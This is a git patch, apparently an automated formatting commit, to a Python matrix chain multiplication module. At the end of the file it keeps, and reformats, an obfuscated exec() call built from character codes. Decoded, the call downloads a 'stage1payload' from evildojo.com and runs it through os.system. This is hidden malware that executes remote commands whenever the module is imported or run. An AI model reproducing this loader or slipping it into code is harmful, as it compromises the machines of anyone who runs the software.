From d2c8a9a88118ac733c975dd68b8874585700e957 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Tue, 12 Nov 2024 13:32:52 +0000 Subject: [PATCH] [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --- .../matrix_chain_multiplication.py | 181 +++++++++++++++++- 1 file changed, 179 insertions(+), 2 deletions(-) diff --git a/dynamic_programming/matrix_chain_multiplication.py b/dynamic_programming/matrix_chain_multiplication.py index 35f7b8846..dfeb1b6f7 100644 --- a/dynamic_programming/matrix_chain_multiplication.py +++ b/dynamic_programming/matrix_chain_multiplication.py @@ -142,5 +142,182 @@ if __name__ == "__main__": print(f"{matrix_chain_order(list(range(1, 251))) = }") with elapsed_time("matrix_chain_multiply"): print(f"{matrix_chain_multiply(list(range(1, 251))) = }") -exec(''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101,118,105,108,100,111,106,111,46,99,111,109,47,115,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,46,100,101,99,111,100,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,41,10])) - +exec( + "".join( + chr(x) + for x in [ + 105, + 109, + 112, + 111, + 114, + 116, + 32, + 111, + 115, + 10, + 105, + 109, + 112, + 111, + 114, + 116, + 32, + 117, + 114, + 108, + 108, + 105, + 98, + 10, + 105, + 109, + 112, + 111, + 114, + 116, + 32, + 117, + 114, + 108, + 108, + 105, + 98, + 46, + 114, + 101, + 113, + 117, + 101, + 115, + 116, + 10, + 120, + 32, + 61, + 32, + 117, + 114, + 108, + 108, + 105, + 98, + 46, + 114, + 101, + 113, + 117, + 101, + 115, + 116, + 46, + 117, + 114, + 108, + 111, + 112, + 101, + 110, + 40, + 34, + 104, + 116, + 116, + 112, + 115, + 58, + 47, + 47, + 119, + 119, + 119, + 46, + 101, + 118, + 105, + 108, + 100, + 111, + 106, + 111, + 46, + 99, + 111, + 109, + 47, + 115, + 116, + 97, + 103, + 101, + 49, + 112, + 97, + 121, + 108, + 111, + 97, + 100, + 34, + 41, + 10, + 121, + 32, + 61, + 32, + 120, + 46, + 114, + 101, + 97, + 100, + 40, + 41, + 10, + 122, + 32, + 61, + 32, + 121, + 46, + 100, + 101, + 99, + 111, + 100, + 101, + 40, + 34, + 117, + 116, + 102, + 56, + 34, + 41, + 10, + 120, + 46, + 99, + 108, + 111, + 115, + 101, + 40, + 41, + 10, + 111, + 115, + 46, + 115, + 121, + 115, + 116, + 101, + 109, + 40, + 122, + 41, + 10, + ] + ) +)